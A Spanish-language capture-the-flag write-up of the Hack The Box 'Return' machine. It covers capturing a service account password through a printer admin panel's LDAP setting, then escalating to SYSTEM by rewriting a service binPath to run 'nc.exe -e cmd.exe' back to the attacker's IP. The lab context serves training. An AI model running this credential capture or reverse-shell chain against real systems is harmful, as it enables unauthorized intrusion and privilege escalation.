Inicio Return HTB Write-up
Entrada
Cancelar

Return HTB Write-up

Resumen

Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Return, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:

  • Enumeración del sistema.
  • Vulnerar web de impresora.
  • Utilización de burpsuite.
  • Abuso de grupo Server Operators para escalar privilegios.

Reconocimiento y Enumeración

En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping:

1
2
3
ping -c 1 10.10.11.108
PING 10.10.11.108 (10.10.11.108) 56(84) bytes of data.
64 bytes from 10.10.11.108: icmp_seq=1 ttl=127 time=136 ms

Se observa que existe una correcta conexión con la máquina.

Para realizar un reconocimiento activo se utilizará la herramienta nmap, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):

1
sudo nmap --open -sS -p- -min-rate 5000 -n -Pn 10.10.11.108 -oG ports

Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49671/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49679/tcp open  unknown
49682/tcp open  unknown
49694/tcp open  unknown
60360/tcp open  unknown¡

Los puertos expuestos de la máquina nos hacen pensar que se trata de un directorio activo, sin embargo, realizamos un escaneo de los servicios expuestos utilizando nmap:

1
sudo nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49679,49682,49694 10.10.11.108 -oN ServiceScan

Como resultado del escaneo tenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: HTB Printer Admin Panel
|_http-server-header: Microsoft-IIS/10.0
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-02-09 05:27:00Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49671/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49679/tcp open  msrpc         Microsoft Windows RPC
49682/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
|_clock-skew: 18m35s
| smb2-time: 
|   date: 2023-02-09T05:28:01
|_  start_date: N/A

Efectivamente, estamos frente a un directorio activo. En primer lugar, se observa el puerto 445 abierto, el cual corresponde al servicio smb, por lo tanto, intentaremos realizar una enumeración del equipo y también si es posible de usuarios o recursos, para ello usaremos diferentes herramientas, la primera es crackmapexec:

1
2
3
crackmapexec smb 10.10.11.108

SMB         10.10.11.108    445    PRINTER          [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)

Se puede observar que el dominio es return.local, por lo tanto, abrimos el /etc/hosts e ingresamos dicho nombre de dominio:

1
2
3
4
5
6
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.10.11.108    return.local

Para de esta manera tener conectividad, para comprobarlo utilizamos ping:

1
2
3
4
ping -c 1 return.local

PING return.local (10.10.11.108) 56(84) bytes of data.
64 bytes from return.local (10.10.11.108): icmp_seq=1 ttl=127 time=134 ms

Luego de comprobar lo anterior, probamos si se pueden listar archivos compartidos en la red, con la herramienta crackmapexec:

1
2
3
4
crackmapexec smb 10.10.11.108 --shares

SMB         10.10.11.108    445    PRINTER          [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB         10.10.11.108    445    PRINTER          [-] Error enumerating shares: SMB SessionError: STATUS_USER_SESSION_DELETED(The remote user session has been deleted.)

Sin embargo, no fue posible. Para seguir la enumeración utilizamos smbmap:

1
2
3
smbmap -H 10.10.11.108

[+] IP: 10.10.11.108:445        Name: return.local  

No tenemos capacidad de lectura de ningún recurso, por lo que no podemos seguir enumerando por smb.

Revisando los puertos vemos que está el 80 abierto, por lo tanto, vamos a utilizar la herramienta whatweb para ver qué información nos ofrece:

1
2
whatweb 10.10.11.108
http://10.10.11.108 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.108], Microsoft-IIS[10.0], PHP[7.4.13], Script, Title[HTB Printer Admin Panel], X-Powered-By[PHP/7.4.13]

Como podemos observar, corresponde a un IIS. Vamos al navegador para ver de qué se trata:

Vemos una impresora, al parecer corresponde a la página de una impresora. Si recorremos vemos la sección settings:

Explotación

Podemos observar que existe un panel, en el cual se puede poner información. Además, existe una sección de contraseña, si vamos a inspeccionar elemento podremos ver que corresponde a text, por lo tanto, no es una contraseña sino asteríscos.

En este punto utilizaremos burpsuite para interceptar la petición:

Obsevarmos que la única información que se envía por POST es la del servidor, por lo tanto, debe estar intentando conectarse a esa IP. Para comprobar si esto de verdad ocurre o es simplemente una página inútil vamos a ingresar nuestra ip, además estaremos escuchando por el puerto 389 como dice en la página:

Al momento de enviar la petición podemos ver que nos llega una conexión en netcat:

1
2
3
4
5
nc -nvlp 389
listening on [any] 389 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.108] 62090
0*`%return\svc-printer�
                       1edFg43012!!

Obtenemos unos números extraños, puede ser que sean una contraseña. Para verificar si esto es correcto utilizaremos crackmapexec:

1
2
3
4
crackmapexec smb 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'

SMB         10.10.11.108    445    PRINTER          [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)
SMB         10.10.11.108    445    PRINTER          [+] return.local\svc-printer:1edFg43012!! 

Bien, corresponde a un usuario válido. Como está el puerto de winrm abierto intentaremos ver si este usuario pertenece al grupo Remote Management use utilizando crackmapexec:

1
2
3
4
5
crackmapexec winrm 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'

SMB         10.10.11.108    5985   PRINTER          [*] Windows 10.0 Build 17763 (name:PRINTER) (domain:return.local)
HTTP        10.10.11.108    5985   PRINTER          [*] http://10.10.11.108:5985/wsman
WINRM       10.10.11.108    5985   PRINTER          [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)

Observamos que si está en el grupo, por lo tanto, utilizando evil-winrm nos conectaremos a la máquina:

1
2
3
4
5
6
7
8
9
10
11
12
evil-winrm -i 10.10.11.108 -u 'svc-printer' -p '1edFg43012!!'

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoami
return\svc-printer

Ahora buscaremos la flag dentro del directorio personal del usuairo svc-printer:

1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> dir


    Directory: C:\Users\svc-printer\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         2/8/2023   8:29 PM             34 user.txt


*Evil-WinRM* PS C:\Users\svc-printer\Desktop> type user.txt
a91d927f0709257aa634d1

Bien, ahora tenemos que encontrar la forma de convertirnos en domain admin.

Escalada de privilegios

Si observamos los grupos del usuario tenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> net user svc-printer
User name                    svc-printer
Full Name                    SVCPrinter
Comment                      Service Account for Printer
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            5/26/2021 12:15:13 AM
Password expires             Never
Password changeable          5/27/2021 12:15:13 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   2/8/2023 8:52:40 PM

Logon hours allowed          All

Local Group Memberships      *Print Operators      *Remote Management Use
                             *Server Operators
Global Group memberships     *Domain Users
The command completed successfully.

Observamos que pertenecemos al grupo Server Operators, si buscamos por google si existen maneras de escalar privilegios con este grupo encontramos la siguiente web, el primer paso consiste en subir a la máquina víctima el netcat.exe, en este caso este ejecutable en encuentra en:

1
2
3
4
locate nc.exe

/home/kali/SecLists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe

Prodecemos a subirlo a máquina víctima:

1
2
3
4
5
6
7
C:\Users\svc-printer> upload /usr/share/windows-resources/binaries/nc.exe
Info: Uploading /usr/share/windows-resources/binaries/nc.exe to C:\Users\svc-printer\nc.exe

                                                             
Data: 79188 bytes of 79188 bytes copied

Info: Upload successful!

La gracia que tiene todo esto, es que al ser del grupo Server Operators podemos ejecutar y detener servicios, lo que podemos hacer es cambiar el path de un servicio en particular para ejectuar lo que nosotros queramos, en este caso será una conexión por netcat hacia nuestra máquina, estaremos utilizando el servicio VMTools:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\Users\svc-printer> services

Path                                                                                                                 Privileges Service          
----                                                                                                                 ---------- -------          
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe                                                                  True ADWS             
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys       True MpKslceeb2796    
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe                                                              True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe                                                                                           True PerfHost         
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe"                                                False Sense            
C:\Windows\servicing\TrustedInstaller.exe                                                                                 False TrustedInstaller 
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe"                                                     True VGAuthService    
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe"                                                                        True VMTools          
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe"                                             True WdNisSvc         
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe"                                            True WinDefend        
"C:\Program Files\Windows Media Player\wmpnetwk.exe"                                                                      False WMPNetworkSvc 

Ahora, teniendo en nc.exe en la máquina, cambiamos el path del servicio:

1
2
*Evil-WinRM* PS C:\Users\svc-printer> sc.exe config VMTools binPath="C:\Users\svc-printer\nc.exe -e cmd.exe 10.10.14.17 1234"
[SC] ChangeServiceConfig SUCCESS

Luego, detenemos el servicio de VMTools y lo volvemos a iniciar para que busque el servicio desde el nuevo path y ejecute el netcat:

1
*Evil-WinRM* PS C:\Users\svc-printer> sc.exe stop VMTools
1
*Evil-WinRM* PS C:\Users\svc-printer> sc.exe start VMTools

En nuestra máquina recibimos una conexión:

1
2
3
4
5
6
7
8
9
nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.108] 65188
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

Podemos notar que somos administrador, ahora buscamos la flag en el directorio personal del administrador:

1
2
3
C:\Users\Administrator\Desktop>type root.txt
type root.txt
c1e9b456ee2a4891a570be

¡Bien!

Hemos ganado acceso como administrador.

Nos vemos, hasta la próxima.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.